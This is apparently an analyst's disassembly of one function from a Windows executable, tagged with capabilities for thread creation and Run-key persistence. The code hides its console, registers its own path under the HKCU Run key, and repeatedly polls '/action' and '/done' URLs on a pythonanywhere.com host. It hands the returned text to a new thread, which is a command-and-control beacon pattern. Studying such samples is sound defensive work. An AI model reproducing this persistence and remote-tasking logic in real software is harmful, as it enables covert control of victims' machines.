Function at 0x140002400
Capabilities:
Create thread
Persist via run registry key
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x970]
sub rsp, 0xa70
mov rax, qword [0x1400180c0]
xor rax, rsp
mov qword [rbp + 0x960], rax
xor r15d, r15d
call qword [sym.imp.KERNEL32.dll_FreeConsole]
lea rdx, [0x1400129a4]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_locale_l1_1_0.dll_setlocale]
mov dword [rbp + 0x120], 1
lea rcx, [rbp + 0x610]
call fcn.140001b00
mov rbx, rax
lea rcx, [rsp + 0x58]
call fcn.140004e80
nop
lea rax, str._Start_
mov qword [rsp + 0x50], rax
mov rcx, rbx
call fcn.140006840
nop
lea r9, [fcn.1400042f0]
mov edx, 0x20
mov r8d, 1
lea rcx, [rsp + 0x58]
call fcn.14000f63c
nop
mov rdx, qword [rbp + 0x630]
cmp rdx, 0xf
jbe 0x1400024ea
inc rdx
mov rcx, qword [rbp + 0x618]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400024e5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400024e5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000f94c
lea rcx, [rbp + 0x610]
call fcn.140001b00
mov rbx, rax
lea rdx, str.int32_t
lea rcx, [rsp + 0x58]
call fcn.1400043e0
nop
lea r8, [rsp + 0x58]
lea rax, [0x1400129e8]
mov qword [rbp + 0x110], rax
lea rdx, [rbp + 0x110]
lea r9, [rbp + 0x120]
mov rcx, rbx
call fcn.140006cd0
nop
lea r9, [fcn.1400042f0]
mov edx, 0x20
mov r8d, 1
lea rcx, [rsp + 0x58]
call fcn.14000f63c
nop
mov rdx, qword [rbp + 0x630]
cmp rdx, 0xf
jbe 0x140002596
inc rdx
mov rcx, qword [rbp + 0x618]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002591
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002591
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000f94c
mov r8d, 0x104
lea rdx, [rbp + 0x750]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x64
lea rax, [rbp + 0x640]
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
lea r8, [rbp + 0x750]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea rax, [rbp + 0x640]
mov qword [rbp + 0x110], rax
lea rcx, [rbp + 0x610]
call fcn.140001b00
mov rbx, rax
lea rcx, [rsp + 0x58]
call fcn.140004f70
nop
lea r8, [rsp + 0x58]
lea rax, str.path
mov qword [rsp + 0x50], rax
lea rdx, [rsp + 0x50]
lea r9, [rbp + 0x110]
mov rcx, rbx
call fcn.140007380
nop
lea r9, [fcn.1400042f0]
mov edx, 0x20
mov r8d, 1
lea rcx, [rsp + 0x58]
call fcn.14000f63c
nop
mov rdx, qword [rbp + 0x630]
cmp rdx, 0xf
jbe 0x14000268f
inc rdx
mov rcx, qword [rbp + 0x618]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000268a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000268a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000f94c
mov rcx, qword [rbp + 0x110]
call fcn.140003ae0
mov rdi, rax
mov qword [rsp + 0x40], r15
lea rax, [rbp + 0x118]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov ebx, dword [rbp + 0x120]
test eax, eax
jne 0x140002764
mov edx, ebx
lea rcx, [rbp + 0x610]
call fcn.140001a30
nop
mov r8, rax
lea rdx, [0x140012a5c]
lea rcx, [rsp + 0x58]
call fcn.140004d50
nop
mov rcx, rax
call fcn.1400042e0
mov rcx, rax
call fcn.140003ae0
mov dword [rsp + 0x28], 0x104
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
mov rdx, rax
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
nop
lea rcx, [rsp + 0x58]
call fcn.1400042f0
nop
lea rcx, [rbp + 0x610]
call fcn.1400042f0
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r10, [rbp + 0x625]
test ebx, ebx
jns 0x1400027b0
neg ebx
nop dword [rax]
nop word [rax + rax]
dec r10
mov eax, 0xcccccccd
mul ebx
shr edx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub bl, cl
add bl, 0x30
mov byte [r10], bl
mov ebx, edx
test edx, edx
jne 0x140002780
dec r10
mov byte [r10], 0x2d
jmp 0x1400027d6
dec r10
mov eax, 0xcccccccd
mul ebx
shr edx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub bl, cl
add bl, 0x30
mov byte [r10], bl
mov ebx, edx
test edx, edx
jne 0x1400027b0
lea r9, [rsp + 0x78]
lea r8, [rbp + 0x625]
mov rdx, r10
lea rcx, [rbp - 0x80]
call fcn.1400063d0
nop
mov r8, qword [rbp - 0x70]
mov rcx, qword [rbp - 0x68]
mov rax, rcx
sub rax, r8
mov r14d, 0x12
lea rsi, str.https:__identifier
cmp rax, r14
jb 0x140002887
lea rax, [r8 + 0x12]
mov qword [rbp - 0x70], rax
lea rbx, [rbp - 0x80]
cmp rcx, 0xf
cmova rbx, qword [rbp - 0x80]
lea rax, [0x140012a8a]
cmp rax, rbx
jbe 0x14000284b
lea rax, [rbx + r8]
cmp rsi, rax
ja 0x14000284b
cmp rbx, rsi
ja 0x140002843
mov rdi, r15
jmp 0x14000284e
mov rdi, rbx
sub rdi, rsi
jmp 0x14000284e
mov rdi, r14
lea rcx, [rbx + 0x12]
inc r8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + rdi]
sub r14, rdi
lea rdx, [rsi + 0x12]
add rdx, rdi
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x80]
jmp 0x1400028a0
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rsi
xor r9d, r9d
mov rdx, r14
lea rcx, [rbp - 0x80]
call fcn.1400086f0
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
mov rax, rdx
sub rax, rcx
cmp rax, 0x13
jb 0x140002923
lea rax, [rcx + 0x13]
mov qword [rsp + 0x68], rax
lea rbx, [rsp + 0x58]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x58]
add rbx, rcx
mov r8d, 0x13
lea rdx, str..pythonanywhere.com
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x13], 0
lea rax, [rsp + 0x58]
jmp 0x140002942
mov qword [rsp + 0x20], 0x13
lea r9, str..pythonanywhere.com
mov edx, 0x13
lea rcx, [rsp + 0x58]
call fcn.1400052a0
movups xmm1, xmmword [rax]
movups xmm2, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
movups xmmword [rbp + 0x148], xmm1
movups xmmword [rbp + 0x158], xmm2
lea rax, vtable.cpr::Url.0
mov qword [rbp + 0x140], rax
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x1400029b4
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400029af
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400029af
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000f94c
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], 0xf
mov byte [rsp + 0x58], 0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140002a05
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002a00
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002a00
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000f94c
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], 0
lea rcx, [rbp - 0x60]
call fcn.140001b00
mov rbx, rax
lea rcx, [rbp + 0x610]
call fcn.140005060
nop
lea r8, [rbp + 0x610]
lea rax, [0x140012a8c]
mov qword [rsp + 0x50], rax
lea rdx, [rsp + 0x50]
lea r9, [rbp + 0x140]
mov rcx, rbx
call fcn.1400078c0
nop
lea r9, [fcn.1400042f0]
mov edx, 0x20
mov r8d, 1
lea rcx, [rbp + 0x610]
call fcn.14000f63c
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x140002ab3
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002aae
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002aae
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000f94c
mov rsi, qword [rbp + 0x158]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, rsi
cmp rax, 7
jae 0x140002ad6
call fcn.140001a10
int3
lea r15, [rbp + 0x148]
cmp qword [rbp + 0x160], 0xf
cmova r15, qword [rbp + 0x148]
xorps xmm0, xmm0
movups xmmword [rbp + 0x610], xmm0
lea r14, [rsi + 7]
mov ebx, 0xf
lea rdi, [rbp + 0x610]
movabs r13, 0x8000000000000000
mov r12d, 0x16
cmp r14, rbx
jbe 0x140002b8c
mov rbx, r14
or rbx, 0xf
cmp rbx, rcx
jbe 0x140002b4a
mov rbx, rcx
lea rax, [r13 + 0x27]
mov rcx, rax
call fcn.14000f600
test rax, rax
je 0x140002b76
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140002b85
cmp rbx, r12
cmovb rbx, r12
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140002b5e
xor edi, edi
jmp 0x140002b85
cmp rcx, 0x1000
jb 0x140002b7d
lea rax, [rcx + 0x27]
cmp rax, rcx
ja 0x140002b2f
call fcn.140001890
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000f600
mov rdi, rax
mov qword [rbp + 0x610], rdi
mov qword [rbp + 0x620], r14
mov qword [rbp + 0x628], rbx
mov r8, rsi
mov rdx, r15
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [str._action]
mov dword [rdi + rsi], eax
movzx eax, word [0x140012a94]
mov word [rdi + rsi + 4], ax
movzx eax, byte [0x140012a96]
mov byte [rdi + rsi + 6], al
mov byte [rdi + r14], 0
lea rdx, [rbp + 0x610]
lea rcx, [rbp + 0x188]
call fcn.140002260
nop
mov r14, qword [rbp + 0x158]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r14
cmp rax, 5
jae 0x140002c05
call fcn.140001a10
int3
lea r15, [rbp + 0x148]
cmp qword [rbp + 0x160], 0xf
cmova r15, qword [rbp + 0x148]
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
lea rsi, [r14 + 5]
mov ebx, 0xf
lea rdi, [rsp + 0x58]
cmp rsi, rbx
jbe 0x140002ca6
mov rbx, rsi
or rbx, 0xf
cmp rbx, rcx
jbe 0x140002c65
mov rbx, rcx
lea rax, [r13 + 0x27]
mov rcx, rax
call fcn.14000f600
test rax, rax
je 0x140002c92
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140002ca1
cmp rbx, 0x16
cmovb rbx, r12
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140002c7a
xor edi, edi
jmp 0x140002ca1
cmp rcx, 0x1000
jb 0x140002c99
lea rax, [rcx + 0x27]
cmp rax, rcx
ja 0x140002c4a
call fcn.140001890
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000f600
mov rdi, rax
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], rbx
mov r8, r14
mov rdx, r15
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [str._done]
mov dword [rdi + r14], eax
movzx eax, byte [0x140012a9c]
mov byte [rdi + r14 + 4], al
mov byte [rdi + rsi], 0
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x1b0]
call fcn.140002260
nop
lea rcx, [rbp - 0x60]
call fcn.140001b00
mov rbx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
nop
lea r8, [rsp + 0x58]
lea rax, str.actionUrl
mov qword [rsp + 0x50], rax
lea rdx, [rsp + 0x50]
lea r9, [rbp + 0x188]
mov rcx, rbx
call fcn.1400078c0
nop
lea r9, [fcn.1400042f0]
mov edx, 0x20
mov r8d, 1
lea rcx, [rsp + 0x58]
call fcn.14000f63c
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x140002d82
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002d7d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002d7d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000f94c
lea rcx, [rbp - 0x60]
call fcn.140001b00
mov rbx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
nop
lea r8, [rsp + 0x58]
lea rax, str.doneUrl
mov qword [rsp + 0x50], rax
lea rdx, [rsp + 0x50]
lea r9, [rbp + 0x1b0]
mov rcx, rbx
call fcn.1400078c0
nop
lea r9, [fcn.1400042f0]
mov edx, 0x20
mov r8d, 1
lea rcx, [rsp + 0x58]
call fcn.14000f63c
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x140002e1a
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002e15
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002e15
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000f94c
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x128], xmm1
xor edi, edi
mov qword [rbp + 0x138], rdi
xor edx, edx
mov r8d, 0x138
lea rcx, [rbp + 0x1e0]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0x1e0]
call fcn.140003260
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x168], xmm0
mov qword [rbp + 0x178], rdi
mov qword [rbp + 0x180], 0xf
mov byte [rbp + 0x168], dil
movabs rsi, 0x4e94914f0000
movabs r13, 0x7fffffff88ca6bff
movabs r14, 0xb2f4fc0794908cf3
movabs r15, 0x431bde82d7b634db
movabs r12, 0x7fffffffffffffff
nop dword [rax]
nop dword [rax + rax]
xor edx, edx
mov r8d, 0x2e8
lea rcx, [rbp + 0x320]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0x320]
call fcn.140009a10
nop
lea rdx, [rbp + 0x188]
lea rcx, [rbp + 0x320]
call fcn.14000a880
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x320]
call fcn.14000a2a0
nop
lea rcx, [rbp + 0x320]
call fcn.140005540
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x1e0]
call fcn.140003660
lea rcx, [rbp - 0x30]
call fcn.1400033d0
lea rcx, [rbp - 0x60]
call fcn.140001b00
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x70], rdi
mov r8d, 0xb
lea rdx, str.std::string
lea rcx, [rsp + 0x58]
call fcn.140005160
nop
lea rax, str.response.text
mov qword [rsp + 0x50], rax
lea r9, [rbp + 0x1f8]
lea r8, [rsp + 0x58]
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140007e00
nop
lea r9, [fcn.1400042f0]
mov edx, 0x20
mov r8d, 1
lea rcx, [rsp + 0x58]
call fcn.14000f63c
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x140002fce
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002fc9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003238
call fcn.14000f94c
mov r8, qword [rbp + 0x208]
test r8, r8
je 0x140003125
lea rdx, [rbp + 0x1f8]
cmp qword [rbp + 0x210], 0xf
cmova rdx, qword [rbp + 0x1f8]
lea rcx, [rbp + 0x168]
call fcn.140004720
xor edx, edx
mov r8d, 0x2e8
lea rcx, [rbp + 0x320]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0x320]
call fcn.140009a10
nop
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x320]
call fcn.14000a880
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x320]
call fcn.14000a2a0
nop
lea rcx, [rbp + 0x320]
call fcn.140005540
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x1e0]
call fcn.140003660
lea rcx, [rbp - 0x30]
call fcn.1400033d0
lea rbx, [rbp + 0x168]
cmp qword [rbp + 0x180], 0xf
cmova rbx, qword [rbp + 0x168]
mov ecx, 0x10
call fcn.14000f600
mov qword [rax], rbx
lea rcx, [0x140003a00]
mov qword [rax + 8], rcx
mov qword [rbp + 0x120], rax
lea rcx, [rbp + 0x618]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], edi
mov r9, rax
lea r8, [0x140008d60]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x610], rax
test rax, rax
je 0x140003246
mov rdx, qword [rbp + 0x130]
cmp rdx, qword [rbp + 0x138]
je 0x140003104
xorps xmm0, xmm0
movaps xmm1, xmmword [rbp + 0x610]
movdqa xmmword [rbp + 0x610], xmm0
movups xmmword [rdx], xmm1
add qword [rbp + 0x130], 0x10
jmp 0x140003118
lea r8, [rbp + 0x610]
lea rcx, [rbp + 0x128]
call fcn.140008350
nop
cmp dword [rbp + 0x618], 0
jne 0x14000323f
lea rcx, [rbp + 0x110]
call fcn.140001930
mov rbx, qword [rbp + 0x110]
cmp rbx, r13
jge 0x140003146
add rbx, 0x77359400
jmp 0x140003150
mov rbx, r12
nop dword [rax]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rdi, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
mov rcx, rax
cmp rdi, 0x989680
jne 0x140003171
imul rax, rcx, 0x64
jmp 0x1400031e2
cmp rdi, 0x16e3600
jne 0x1400031c4
mov rax, r14
imul rcx
lea r8, [rcx + rdx]
sar r8, 0x18
mov rax, r8
shr rax, 0x3f
add r8, rax
imul rax, r8, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, r14
imul rcx
lea rax, [rcx + rdx]
sar rax, 0x18
mov rcx, rax
shr rcx, 0x3f
add rax, rcx
imul rcx, r8, 0x3b9aca00
jmp 0x1400031df
cqo
idiv rdi
mov rcx, rax
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
imul rcx, rcx, 0x3b9aca00
add rax, rcx
cmp rax, rbx
jge 0x140003231
mov rcx, rbx
sub rcx, rax
cmp rcx, rsi
jle 0x140003203
mov edx, 0x5265c00
mov ecx, edx
call sub.KERNEL32.dll_Sleep
jmp 0x140003150
mov rax, r15
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xf4240
cmp rax, rcx
jge 0x140003225
inc edx
mov ecx, edx
call sub.KERNEL32.dll_Sleep
jmp 0x140003150
xor edi, edi
jmp 0x140002eb0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
mov dword [rbp + 0x618], edi
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3